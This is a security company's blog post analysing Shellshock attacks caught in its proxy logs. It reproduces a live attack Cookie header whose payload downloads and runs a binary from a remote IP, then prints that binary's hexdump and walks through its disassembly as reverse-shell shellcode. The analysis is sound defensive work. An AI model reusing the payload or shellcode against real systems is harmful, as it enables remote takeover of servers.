Shellshock in the Wild

« Return to Our Notebook

Shellshock in the Wild

The recent disclosure of a critical security flaw in the widely used bash command-line shell for Unix operating systems sent many technology professionals scrambling to update their systems. We were certainly among them.

The Vulnerability

The shellshock vulnerability can be traced back to bash's implementation of shell functions, which are stored in variables named for the function. Bash differentiates functions from ordinary environment variables by looking for an anonymous function construct () { } in the contents of the variable. When a subshell is spawned, the functions are exported into the subshell by evaluating the contents of the variable. Unfortunately, instead of stopping at the closing brace, bash evaluates the /entire/ contents of the variable.

Introduced in 1979 with Bell Laboratories V7 Unix, environment variables are an intrinsic component of all Unix processes. They exist in nearly every modern Unix derivative such as Linux and Mac OS X as well as Microsoft Windows. Many applications take advantage of them and, in some cases, they can be influenced by user-supplied data.

Owing to its implementation of the Common Gateway Interface (CGI) specification, the Apache HTTP server is one such application. To understand why, we consider the following excerpts from RFC 3875, which defines the current CGI 1.1 specification.

From §3.4 --

The script is invoked in a system-defined manner. Unless specified otherwise, the file containing the script will be invoked as an executable program. The server prepares the CGI request as described in section 4; this comprises the request meta-variables (immediately available to the script on execution) and request message data.

From §4.1 --

Meta-variables contain data about the request passed from the server to the script, and are accessed by the script in a system-defined manner.

From §4.1.18 --

Meta-variables with names beginning with "HTTP_" contain values read from the client request header fields, if the protocol used is HTTP. The HTTP header field name is converted to upper case, has all occurrences of "-" replaced with "_" and has "HTTP_" prepended to give the meta-variable name.

The Apache HTTP server uses environment variables to make these meta-variables available to CGI scripts, which are executed in a sub-shell spawned by the server. This is where that "unfortunately, instead of stopping at the closing brace" bit I mentioned earlier rises up and bites us.

The Attack

After rapidly updating all the systems we're responsible for to guard against the vulnerability, we became curious about how much this (potentially huge) bug was being exploited. We ramped up the logging on our nginx HTTP proxy server. The nginx HTTP server does not implement the CGI specification, so it is immune to this specific attack vector. However, it can still pass along attacks to backend applications.

Only a few hours after the disclosure, we began seeing attacks coming in from the greater Internet.

Here's the Cookie header provided in one of these attacks.

Cookie: () { :; }; /bin/bash -c \x22rm /tmp/.osock; if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.118.242.223:9199/v64 -O /tmp/.osock; /usr/bin/lwp-download http://82.118.242.223:9199/v64 /tmp/.osock; /usr/bin/curl http://82.118.242.223:9199/v64 -o /tmp/.osock; else /usr/bin/wget 82.118.242.223:9199/v -O /tmp/.osock; /usr/bin/lwp-download http://82.118.242.223:9199/v /tmp/.osock; /usr/bin/curl http://82.118.242.223:9199/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock\x22

The payload is arbitrary shell scripting. This particular scripting examines the server's architecture and downloads one of two executables using three commonly available command-line HTTP clients. The script then sets all read, write, and execute file mode flags and attempts to execute the binary.

It's worth mentioning that this specific attack relies on the ability to make outbound HTTP requests. If outbound HTTP traffic is disallowed by firewall rules, this specific attack would not succeed. This is a good illustration of why security best practices dictate denying all outbound traffic by default. The presence of such a firewall policy does not, however, ensure that your systems are safe from shellshock.

The Executable

What's in that binary that is being downloaded, anyway? Well, let's take a look, shall we!

diz@trappin:~$ curl -so v http://82.118.242.223:9199/v
diz@trappin:~$ file v
v: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
diz@trappin:~$ hexdump -C v
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  54 80 04 08 34 00 00 00  |........T...4...|
00000020  00 00 00 00 00 00 00 00  34 00 20 00 01 00 00 00  |........4. .....|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000040  00 80 04 08 9a 00 00 00  e0 00 00 00 07 00 00 00  |................|
00000050  00 10 00 00 31 db 53 43  53 6a 02 6a 66 58 89 e1  |....1.SCSj.jfX..|
00000060  cd 80 93 59 b0 3f cd 80  49 79 f9 5b 5a 68 52 76  |...Y.?..Iy.[ZhRv|
00000070  f2 df 66 68 86 9f 43 66  53 89 e1 b0 66 50 51 53  |..fh..CfS...fPQS|
00000080  89 e1 43 cd 80 52 68 2f  2f 73 68 68 2f 62 69 6e  |..C..Rh//shh/bin|
00000090  89 e3 52 53 89 e1 b0 0b  cd 80                    |..RS......|
0000009a

The file downloaded is a tiny ELF binary that has a corrupted section header size. Next, we consult the objdump and readelf tools to see what else we can find out about the binary.

diz@trappin:~$ objdump -x v

v:     file format elf32-i386
v
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x08048054

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000009a memsz 0x000000e0 flags rwx

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
SYMBOL TABLE:
no symbols

diz@trappin:~$ readelf -h v
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048054
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There is a single program header, but it seems there are no section headers. That might explain why file is reporting a corrupted section header size. Let's focus on the program header first.

    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000009a memsz 0x000000e0 flags rwx

ELF program headers define loadable memory segments or dynamic linking information. In this case, there is only one program header and it maps the entire 154 (0x9a) bytes of the file into a memory segment of 224 (0xe0) bytes beginning at virtual address 0x08048000. This segment is marked readable, writable, and executable.

The entry point address is defined as 0x8048054, which corresponds to an offset of 84 bytes into the file. 0x8048054 - 0x08048000 = 0x54 = 84. If we add up the sizes of the ELF header and the program header that readelf reported, we get 52+32=84.

Execution begins at 84 bytes into the file. Let's disassemble the binary beginning there and see what the program does.

diz@trappin:~$ ndisasm -b 32 -e 84 -p intel v
00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  43                inc ebx
00000004  53                push ebx

First we set the contents of the ebx register to 0 by XORing it with itself. Then we push the contents of the ebx register (0) onto the stack, increment the ebx register, and push the contents of the ebx register (1) onto the stack again.

00000005  6A02              push byte +0x2
00000007  6A66              push byte +0x66
00000009  58                pop eax
0000000A  89E1              mov ecx,esp
0000000C  CD80              int 0x80

Here, we see the setup for a system call. The interrupt handler for interrupt vector 0x80 is the Linux kernel. The contents of the eax register is the system call number, and the other registers contain the system call arguments. For a list of system call numbers, see syscall_32.tbl. Here, 0x66 is pushed onto the stack and then popped off and into the eax register. This system call number is 102, which is sys_socketcall. The socketcall system call has the following prototype:

int socketcall(int call, unsigned long *args);

This system call takes two arguments: a socket call number, and a list of arguments. The ebx register is still set to 1, which happens to be sys_socket. The ecx register is set to the address of the stack pointer. The stack has a 2 pushed onto it just prior. The sys_socket function has the following prototype:

long sys_socket(int, int, int);

The sys_socket function is the kernel's implementation of the socket() C library call, which has the following prototype:

   int socket(int domain, int type, int protocol);

As it turns out, the stack's current contents are three 32-bit values that are, from top to bottom:

0x00000002 (PF_INET=2)
0x00000001 (SOCK_STREAM=1)
0x00000000 (IPPROTO_IP=0)

So, this was a call to the kernel's socket interface to create a new streaming IP socket, of which there is only one type: TCP.

0000000E  93                xchg eax,ebx
0000000F  59                pop ecx
00000010  B03F              mov al,0x3f
00000012  CD80              int 0x80

Here we have the setup for another system call, this time for sys_dup2 (0x3f == 63).

Upon returning from the previous system call, the eax register contains the new socket's descriptor. The first opcode immediately exchanges the contents of the eax and ebx registers while the last value on the stack (2) is popped off and placed into the ecx register. The contents of the eax, ebx, and ecx registers are 1, 3, and 2 at the time the interrupt is raised.

The sys_dup2 system call is the kernel's implementation of the dup2() C library function. The prototypes are identical:

long sys_dup2(unsigned int oldfd, unsigned int newfd);
int dup2(int oldfd, int newfd);

A copy of the socket is opened on file descriptor 2, which all Unix programmers will recognize as the file descriptor for STDERR.

00000014  49                dec ecx
00000015  79F9              jns 0x10

The next few instructions comprise a loop. The contents of the ecx register are decremented. If the CPU's sign flag isn't set (which would occur if the decrement operation caused ecx to become negative), control jumps back to 00000010, which begins the setup for the sys_dup2 system call. Effectively, we replace stderr (2), stdout (1), and stdin (0) with the socket.

00000017  5B                pop ebx
00000018  5A                pop edx
00000019  685276F2DF        push dword 0xdff27652
0000001E  6668869F          push word 0x9f86
00000022  43                inc ebx
00000023  6653              push bx

Here, we are setting up the sockaddr_in structure for a connection. I had a hunch this is what was happening simply due to the proximity of the dword (32-bit) and word (16-bit) values. IP addresses are 32 bits and port numbers are 16 bits. Seeing the two of them close together in something that's suspected to be a trojan gave it away.

The sockaddr_in structure looks like this:

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};

The last two values on the stack (1 and 0 from the earlier system socket call to sys_socket) are popped off of the stack and stored in ebx and edx, respectively. The 0 value placed into the edx register won't be used until after the next system call.

0xdff27652 is the IPv4 address 82.118.242.223, which just so happens to be the same address of the server that the binary was downloaded from. It is pushed onto the stack first.

0x9f86 is 34463, a port that 82.118.242.223 was listening on. It's pushed onto the stack next as a single 16-bit word.

The bx register is a 16-bit register containing the ebx value that is incremented from 1 to 2, again indicating the PF_INET socket family. It's pushed onto the stack last.

00000025  89E1              mov ecx,esp
00000027  B066              mov al,0x66
00000029  50                push eax
0000002A  51                push ecx
0000002B  53                push ebx
0000002C  89E1              mov ecx,esp
0000002E  43                inc ebx
0000002F  CD80              int 0x80

Here we have another system call to sys_socketcall (0x66). The ebx register is incremented again (from 2 to 3), so this will be a call to sys_connect. The prototype for sys_connect looks like this:

long sys_connect(int, struct sockaddr __user *, int);

The stack pointer is copied into the ecx register. This will be the address of the sockaddr structure. Then the contents of the eax, ecx, and ebx registers are all pushed onto the stack and the stack pointer is copied into ecx. These values correspond to the sys_connect call.

int socketcall(int call, unsigned long *args);

The al register is set early on and the reason for that is to provide a a sufficiently high value for the socket address length parameter to the connect() call. The sockaddr_in structure is only 16 bytes, but 0x66 is 102. This works in my tests, but connect() begins failing for any socket address length parameter above 128.

00000031  52                push edx
00000032  682F2F7368        push dword 0x68732f2f
00000037  682F62696E        push dword 0x6e69622f

This pushes the null-terminated ASCII character string "/bin//sh" onto the stack. The edx register is 0x00000000 from the aforementioned pop. It is used here not only to terminate the "/bin//sh" reference, but also to terminate an argument list in the following execve() call.

0000003C  89E3              mov ebx,esp
0000003E  52                push edx
0000003F  53                push ebx
00000040  89E1              mov ecx,esp
00000042  B00B              mov al,0xb
00000044  CD80              int 0x80

Here we have a system call for sys_execve (0x0b == 11). The interface looks just like its execve() C counterpart:

sys_execve(const char __user *filename,
           const char __user *const __user *argv,
           const char __user *const __user *envp);

The two arguments (ebx and ecx) will both be set to the stack pointer, which makes both filename and argv equal to "/bin//sh". The stack contains a null pointer (0x00000000), which terminates the argument list. The environment will be empty, as edx will be 0x00000000.

What this tiny and cleverly-architected bit of code does is spawn a shell and transfer control of it to a remote host. This type of code is called shellcode.

Conclusion

We cannot stress enough how critical this bug is. The ubiquitous nature of environment variables and the wide adoption of the 25-year old bash shell have combined to create an attack surface the size of which we are only just begining to fathom. The Apache HTTP server is only one of many potential attack vectors. Millions of systems will never receive a security fix for this bug.

If you have vulnerable bash versions still deployed, your systems may already be compromised.

We solve problems with technology. What can we solve for you?

Reach Out

t: 800.646.0188